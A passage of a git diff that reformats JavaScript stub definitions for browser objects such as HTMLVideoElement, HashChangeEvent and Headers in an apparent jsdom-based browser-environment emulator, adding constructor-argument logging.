+bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADED", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "ERROR", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "kind", { + configurable: true, + enumerable: true, + get: function kind() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "kind_get", arguments); + }, + set: function kind() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "kind_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "src", { + configurable: true, + enumerable: true, + get: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "src_get", arguments); + }, + set: function src() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "src_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "srclang", { + configurable: true, + enumerable: true, + get: function srclang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "srclang_get", arguments); + }, + set: function srclang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "srclang_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "label_get", arguments); + }, + set: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "label_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "default", { + configurable: true, + enumerable: true, + get: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "default_get", arguments); + }, + set: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "default_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLTrackElement'].prototype, "HTMLTrackElement", "track_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "LOADED", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLTrackElement', "ERROR", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLUListElement.js b/env_xbb_lastest_jsdom/env/HTMLUListElement.js index 032887d9..a3c65c74 100644 --- a/env_xbb_lastest_jsdom/env/HTMLUListElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLUListElement.js @@ -1,7 +1,39 @@ -// HTMLUListElement对象 -bodavm.memory.globalobj['HTMLUListElement'] = function HTMLUListElement(){if (!(this instanceof HTMLUListElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLUListElement'], "HTMLUListElement"); -bodavm.memory.globalobj['HTMLUListElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLUListElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLUListElement', "compact", {configurable:true, enumerable:true, get:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "compact_get", arguments)}, set:function compact (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "compact_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLUListElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "type_set", arguments)}},'prototype'); +// HTMLUListElement对象 + +bodavm.memory.globalobj['HTMLUListElement'] = function HTMLUListElement() { + console.log_copy('HTMLUListElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLUListElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLUListElement'], "HTMLUListElement"); +bodavm.memory.globalobj['HTMLUListElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLUListElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLUListElement', "compact", { + configurable: true, + enumerable: true, + get: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "compact_get", arguments); + }, + set: function compact() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "compact_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLUListElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLUListElement'].prototype, "HTMLUListElement", "type_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLUnknownElement.js b/env_xbb_lastest_jsdom/env/HTMLUnknownElement.js index 9516c748..28a6b95f 100644 --- a/env_xbb_lastest_jsdom/env/HTMLUnknownElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLUnknownElement.js @@ -1,5 +1,19 @@ -// HTMLUnknownElement对象 -bodavm.memory.globalobj['HTMLUnknownElement'] = function HTMLUnknownElement(){if (!(this instanceof HTMLUnknownElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLUnknownElement'], "HTMLUnknownElement"); -bodavm.memory.globalobj['HTMLUnknownElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLUnknownElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; +// HTMLUnknownElement对象 + +bodavm.memory.globalobj['HTMLUnknownElement'] = function HTMLUnknownElement() { + console.log_copy('HTMLUnknownElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLUnknownElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLUnknownElement'], "HTMLUnknownElement"); +bodavm.memory.globalobj['HTMLUnknownElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLUnknownElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLVideoElement.js b/env_xbb_lastest_jsdom/env/HTMLVideoElement.js index 098853d2..e4dc12d8 100644 --- a/env_xbb_lastest_jsdom/env/HTMLVideoElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLVideoElement.js @@ -1,26 +1,201 @@ -// HTMLVideoElement对象 -bodavm.memory.globalobj['HTMLVideoElement'] = function HTMLVideoElement(){if (!(this instanceof HTMLVideoElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLVideoElement'], "HTMLVideoElement"); -bodavm.memory.globalobj['HTMLVideoElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLMediaElement'].prototype; -bodavm.memory.globalobj['HTMLVideoElement'].__proto__=bodavm.memory.globalobj['HTMLMediaElement']; -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "videoWidth", {configurable:true, enumerable:true, get:function videoWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "videoWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "videoHeight", {configurable:true, enumerable:true, get:function videoHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "videoHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "poster", {configurable:true, enumerable:true, get:function poster (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "poster_get", arguments)}, set:function poster (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "poster_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDecodedFrameCount", {configurable:true, enumerable:true, get:function webkitDecodedFrameCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDecodedFrameCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDroppedFrameCount", {configurable:true, enumerable:true, get:function webkitDroppedFrameCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDroppedFrameCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "playsInline", {configurable:true, enumerable:true, get:function playsInline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "playsInline_get", arguments)}, set:function playsInline (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "playsInline_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "onenterpictureinpicture", {configurable:true, enumerable:true, get:function onenterpictureinpicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onenterpictureinpicture_get", arguments)}, set:function onenterpictureinpicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onenterpictureinpicture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "onleavepictureinpicture", {configurable:true, enumerable:true, get:function onleavepictureinpicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onleavepictureinpicture_get", arguments)}, set:function onleavepictureinpicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onleavepictureinpicture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "disablePictureInPicture", {configurable:true, enumerable:true, get:function disablePictureInPicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "disablePictureInPicture_get", arguments)}, set:function disablePictureInPicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "disablePictureInPicture_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "cancelVideoFrameCallback", {configurable:true, enumerable:true, writable:true, value:function cancelVideoFrameCallback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "cancelVideoFrameCallback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "requestPictureInPicture", {configurable:true, enumerable:true, writable:true, value:function requestPictureInPicture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "requestPictureInPicture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "requestVideoFrameCallback", {configurable:true, enumerable:true, writable:true, value:function requestVideoFrameCallback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "requestVideoFrameCallback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitSupportsFullscreen", {configurable:true, enumerable:true, get:function webkitSupportsFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitSupportsFullscreen_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDisplayingFullscreen", {configurable:true, enumerable:true, get:function webkitDisplayingFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDisplayingFullscreen_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "getVideoPlaybackQuality", {configurable:true, enumerable:true, writable:true, value:function getVideoPlaybackQuality (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "getVideoPlaybackQuality", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitEnterFullScreen", {configurable:true, enumerable:true, writable:true, value:function webkitEnterFullScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitEnterFullScreen", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitEnterFullscreen", {configurable:true, enumerable:true, writable:true, value:function webkitEnterFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitEnterFullscreen", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitExitFullScreen", {configurable:true, enumerable:true, writable:true, value:function webkitExitFullScreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitExitFullScreen", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitExitFullscreen", {configurable:true, enumerable:true, writable:true, value:function webkitExitFullscreen (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitExitFullscreen", arguments)}},'prototype'); +// HTMLVideoElement对象 + +bodavm.memory.globalobj['HTMLVideoElement'] = function HTMLVideoElement() { + console.log_copy('HTMLVideoElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLVideoElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLVideoElement'], "HTMLVideoElement"); +bodavm.memory.globalobj['HTMLVideoElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLMediaElement'].prototype; +bodavm.memory.globalobj['HTMLVideoElement'].__proto__ = bodavm.memory.globalobj['HTMLMediaElement']; +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "videoWidth", { + configurable: true, + enumerable: true, + get: function videoWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "videoWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "videoHeight", { + configurable: true, + enumerable: true, + get: function videoHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "videoHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "poster", { + configurable: true, + enumerable: true, + get: function poster() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "poster_get", arguments); + }, + set: function poster() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "poster_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDecodedFrameCount", { + configurable: true, + enumerable: true, + get: function webkitDecodedFrameCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDecodedFrameCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDroppedFrameCount", { + configurable: true, + enumerable: true, + get: function webkitDroppedFrameCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDroppedFrameCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "playsInline", { + configurable: true, + enumerable: true, + get: function playsInline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "playsInline_get", arguments); + }, + set: function playsInline() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "playsInline_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "onenterpictureinpicture", { + configurable: true, + enumerable: true, + get: function onenterpictureinpicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onenterpictureinpicture_get", arguments); + }, + set: function onenterpictureinpicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onenterpictureinpicture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "onleavepictureinpicture", { + configurable: true, + enumerable: true, + get: function onleavepictureinpicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onleavepictureinpicture_get", arguments); + }, + set: function onleavepictureinpicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "onleavepictureinpicture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "disablePictureInPicture", { + configurable: true, + enumerable: true, + get: function disablePictureInPicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "disablePictureInPicture_get", arguments); + }, + set: function disablePictureInPicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "disablePictureInPicture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "cancelVideoFrameCallback", { + configurable: true, + enumerable: true, + writable: true, + value: function cancelVideoFrameCallback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "cancelVideoFrameCallback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "requestPictureInPicture", { + configurable: true, + enumerable: true, + writable: true, + value: function requestPictureInPicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "requestPictureInPicture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "requestVideoFrameCallback", { + configurable: true, + enumerable: true, + writable: true, + value: function requestVideoFrameCallback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "requestVideoFrameCallback", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitSupportsFullscreen", { + configurable: true, + enumerable: true, + get: function webkitSupportsFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitSupportsFullscreen_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitDisplayingFullscreen", { + configurable: true, + enumerable: true, + get: function webkitDisplayingFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitDisplayingFullscreen_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "getVideoPlaybackQuality", { + configurable: true, + enumerable: true, + writable: true, + value: function getVideoPlaybackQuality() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "getVideoPlaybackQuality", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitEnterFullScreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitEnterFullScreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitEnterFullScreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitEnterFullscreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitEnterFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitEnterFullscreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitExitFullScreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitExitFullScreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitExitFullScreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLVideoElement', "webkitExitFullscreen", { + configurable: true, + enumerable: true, + writable: true, + value: function webkitExitFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLVideoElement'].prototype, "HTMLVideoElement", "webkitExitFullscreen", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HashChangeEvent.js b/env_xbb_lastest_jsdom/env/HashChangeEvent.js index 5c685d02..87085744 100644 --- a/env_xbb_lastest_jsdom/env/HashChangeEvent.js +++ b/env_xbb_lastest_jsdom/env/HashChangeEvent.js @@ -1,7 +1,35 @@ -// HashChangeEvent对象 -bodavm.memory.globalobj['HashChangeEvent'] = function HashChangeEvent(){if (!(this instanceof HashChangeEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'HashChangeEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HashChangeEvent'], "HashChangeEvent"); -bodavm.memory.globalobj['HashChangeEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['HashChangeEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('HashChangeEvent', "oldURL", {configurable:true, enumerable:true, get:function oldURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HashChangeEvent'].prototype, "HashChangeEvent", "oldURL_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HashChangeEvent', "newURL", {configurable:true, enumerable:true, get:function newURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HashChangeEvent'].prototype, "HashChangeEvent", "newURL_get", arguments)}, set:undefined},'prototype'); +// HashChangeEvent对象 + +bodavm.memory.globalobj['HashChangeEvent'] = function HashChangeEvent() { + console.log_copy('HashChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HashChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'HashChangeEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HashChangeEvent'], "HashChangeEvent"); +bodavm.memory.globalobj['HashChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['HashChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('HashChangeEvent', "oldURL", { + configurable: true, + enumerable: true, + get: function oldURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HashChangeEvent'].prototype, "HashChangeEvent", "oldURL_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HashChangeEvent', "newURL", { + configurable: true, + enumerable: true, + get: function newURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HashChangeEvent'].prototype, "HashChangeEvent", "newURL_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Headers.js b/env_xbb_lastest_jsdom/env/Headers.js index f7135ed9..d4eb4dd9 100644 --- a/env_xbb_lastest_jsdom/env/Headers.js +++ b/env_xbb_lastest_jsdom/env/Headers.js @@ -1,24 +1,86 @@ // Headers对象 -bodavm.memory.globalobj['Headers'] = function Headers(){this._boarg= new bodaobj.window.Headers();this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['Headers'] = function Headers() { + console.log_copy('Headers 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.Headers(); + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Headers'], "Headers"); - -bodavm.toolsFunc.defineProperty('Headers', "append", {configurable:true, enumerable:true, writable:true, value:function append (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Headers'].prototype, "Headers", "append", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Headers', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return 